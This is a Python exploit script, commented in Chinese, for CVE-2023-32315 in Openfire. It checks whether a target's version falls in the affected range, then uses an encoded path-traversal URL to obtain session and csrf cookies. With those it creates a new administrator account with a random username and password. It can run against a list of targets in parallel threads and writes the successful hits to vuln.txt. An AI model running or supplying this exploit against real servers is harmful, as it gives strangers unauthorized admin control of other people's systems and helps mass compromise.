main.py

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import re
import urllib.request
from urllib.error import HTTPError

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    result = ''.join(random.choice(charset) for _ in range(length))
    return result

def match_url_path(url):
    pattern = r'^http[s]?://([^/]+)'
    match = re.match(pattern, url)
    if match:
        matched_string = match.group(1)
        return 'http://' + matched_string
    if not re.match(r'^\w+://', url):
        return 'http://' + url 
    return None

def get_version(url):
    try:
        response = urllib.request.urlopen(url+"/login.jsp")
        html_content = response.read().decode("utf-8")
        # 使用正则表达式匹配并提取版本号
        pattern = r"Openfire,.+?:\s*([\w\u4e00-\u9fa5]+\.\w+\.\w+)"
        match = re.search(pattern, html_content)
        if match:
            version = match.group(1)
            return version
        return None
    except HTTPError as e:
        print(f"{url} - 发生HTTP错误：{e.code}")
        return None
    except Exception as e:
        print(f"{url} - 发生错误：{str(e)}")
        return None

def check_version_range(version):
    if version >= "3.10.0" and version < "4.6.8":
        return True
    elif version >= "4.7.0" and version < "4.7.5":
        return True
    else:
        return False

def verify(target):
    result = {}

    try:
        # setup 1: 检查版本
        print(f"{target} - 正在处理 setup 1...")
        version = get_version(target)
        if not version:
            result['setup1'] = "无法获取版本信息"
            return {target: result}

        if not check_version_range(version):
            result['setup1'] = f"该网站不在CVE-2023-32315漏洞影响范围"
            return {target: result}

        result['setup1'] = f"该网站版本为：{version}"
        print(f"{target} - 正在处理 setup 2...")
        
        # setup 2: 获取csrf和jsessionid
        jsessionid = ""
        csrf = ""
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"
        try:
            response = urllib.request.urlopen(url)
        except HTTPError as e:
            if e.code == 500:
                cookies = e.headers.get_all('Set-Cookie')
                if len(cookies) == 1:
                    jsessionid = cookies[0].split('=')[1].split(';')[0]
                if len(cookies) == 2:
                    jsessionid = cookies[0].split('=')[1].split(';')[0]
                    csrf = cookies[1].split('=')[1].split(';')[0]
            else:
                result['setup2'] = "该网站有误，请自行手动测试：" + f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
                return {target: result}

        result['setup2'] = f"成功获取目标JSESSIONID: {jsessionid} + csrf: {csrf}"

        if jsessionid == "":
            result['setup2'] = "Failed to get JSESSIONID or csrf value"
            return {target: result}

        print(f"{target} - 正在处理 setup 3...")
        
        # setup 3: 添加用户
        username = generate_random_string(6)
        password = generate_random_string(6)
        createUserUrl = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"

        headers = {"Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}"}
        # 创建Request对象并设置请求头
        request = urllib.request.Request(createUserUrl, headers=headers)

        # 发起GET请求
        try:
            res = urllib.request.urlopen(request)
            if res.code == 200:
                result['setup3'] = f"用户增加成功：username：{username} password：{password}"
            else:
                result['setup3'] = "用户添加失败。"
        except Exception as e:
            result['setup3'] = f"用户添加失败。发生错误：{str(e)}"

    except Exception as e:
        print(f"{target} - 发生错误：{str(e)}")

    return {target: result}

def print_result(result):
    for url, result in result.items():
        print(f"{url}:\n")
        for setup, msg in result.items():
            print(f"  {setup}: {msg}\n")
def main():
    parser = argparse.ArgumentParser(description="执行命令：./CVE-2023-32315 -u http://127.0.0.1:9090")
    parser.add_argument("-u", dest="target_url", help="目标URL")
    parser.add_argument("-l", dest="file_path", help="URL文件路径")
    parser.add_argument("-t", dest="thread", type=int, default=10, help="线程数，默认为10")
    args = parser.parse_args()

    finalresult = {}

    if args.target_url:
        url = match_url_path(args.target_url)
        if url != None:
            result = verify(url)
            finalresult.update(result)
            print_result(finalresult)
        else:
            print(f"请检查{args.target_url}是否有误")
    elif args.file_path:
        with open(args.file_path, 'r') as file:
            targets = [match_url_path(line.strip()) for line in file if line.strip()]
        
        with ThreadPoolExecutor(max_workers=args.thread) as executor:
            results = []
            for target in targets:
                results.append(executor.submit(verify, target))
            
            count = 1
            for future in results:
                result = future.result()
                finalresult.update(result)
                print(f"完成 {count}/{len(targets)}")
                count += 1
        
        file_name = "vuln.txt"
        with open(file_name, 'w') as file:
            for url, result in finalresult.items():
                file.write(f"{url}:\n")
                for setup, msg in result.items():
                    file.write(f"  {setup}: {msg}\n")

if __name__ == "__main__":
    main()